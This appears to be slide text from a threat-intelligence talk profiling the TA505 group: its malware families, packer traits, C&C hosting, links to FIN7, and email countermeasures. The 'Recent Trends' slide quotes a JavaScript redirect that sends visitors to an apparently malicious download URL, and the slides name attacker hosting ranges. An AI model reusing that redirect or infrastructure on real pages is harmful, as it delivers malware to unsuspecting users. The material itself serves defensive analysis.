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TA505 Profiling



TA505

• TA505 Threat Group is a threat group that has been carrying out active

attacks to date, starting with malwares, called Dridex, for the theft of

financial information since 2014.

• It mainly attacked financial and energy-related industries by using

ransomware and remote-controlled malware overseas.



Attack TTP

A.Tactics
- Spear Phishing Mail for Initial Compromise

B.Techniques 
- Bypass vaccine detection
- determine whether they are individuals or businesses
- propagate ransomwares to internal network PCs.



Attack TTP

C. Procedures



02

Distributed Malwares



Link Between malwares of TA505



Link Between malwares of TA505

1. Malicious attached document

2. Flawed Ammyy

3. Clop ransomware

4. Amadey Bot

5. Email Stealer

6. TinyMet

7. SDBbot



Basis for judgment

1. Custom Packer



Basis for judgment

1. Allocate virtual memory

2. XOR & ROL4  operation  by 4 bytes 

of Key from .data section



Basis for judgment

Flawed Ammyy Clop Ransomware

Email Stealer



Basis for judgment

2. Valid Digital Signature



Basis for judgment



Basis for judgment

3. Using same C&C server

4. Download additional malwares already known as from TA505



Flawed Ammyy



Flawed Ammyy

• inetnum : 169.239.128.0 - 169.239.129.255(169.239.128.0/23)

• Autonomous System Number : 61138

• Autonomous System Label : Zappie Host LLC

• Country : ZA (Republic of South Africa)

• Owner : Zappie Admin



Clop Ransomware



Clop Ransomware



New Tiny Malware



Amadey Bot



Email Stealer



TinyMet



SDBbot



SDBbot



SDBbot ScRegisterTCPEndpoint offset(0x100F93B)
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Statistics of Spear Phishing Mail



Statistics of Spear Phishing Mail

< Spear phishing mail sent time statistics >



Statistics of Spear Phishing Mail

< Spear phishing mail sent day statistics  >
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Link Between TA505&FIN7



Link Between TA505&FIN7



Link Between TA505&FIN7



Link Between TA505&FIN7

1. Initial Compromise : Microsoft Office's document files



Link Between TA505&FIN7

2. Establish Foothold : Flawed Ammyy, Cobalt Strike



Link Between TA505&FIN7

2. Establish Foothold : Flawed Ammyy, Cobalt Strike



Link Between TA505&FIN7

3. Escalate Privileges : Mimikatz



Link Between TA505&FIN7

4. Internal Reconnaissance : batch script



Link Between TA505&FIN7

5. Move Laterally : RDP, PSExec



Link Between TA505&FIN7

6. Maintain Presence : Shim Database, TinyMet



Link Between TA505&FIN7

7. Complete Mission : disseminates malwares to multiple PCs



Link Between TA505&FIN7
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Recent Trends



Recent Trends

<script type="text/javascript">

location="https://st438766.clients-share.com/download.php";

</script>
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Countermeasures



Countermeasures

1. SPF(Sender Policy Framework)

2. RBL(Real-time Blocking List)

3. DKIM(Domain Keys Identified Mail)

4. DMARK(Domain-based Message Authentication Reporting and Conformance)

5. pattern inspection

6. reputation inquiry

7. dynamic analysis in a sandbox

8. converting the mail into an image format

9. understand the attack flow of the TA505 threat group

10. quickly applying the latest IoCs for the TA505 threat group to the detection rule

11. improve the security awareness among executives and employees
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Conclusion
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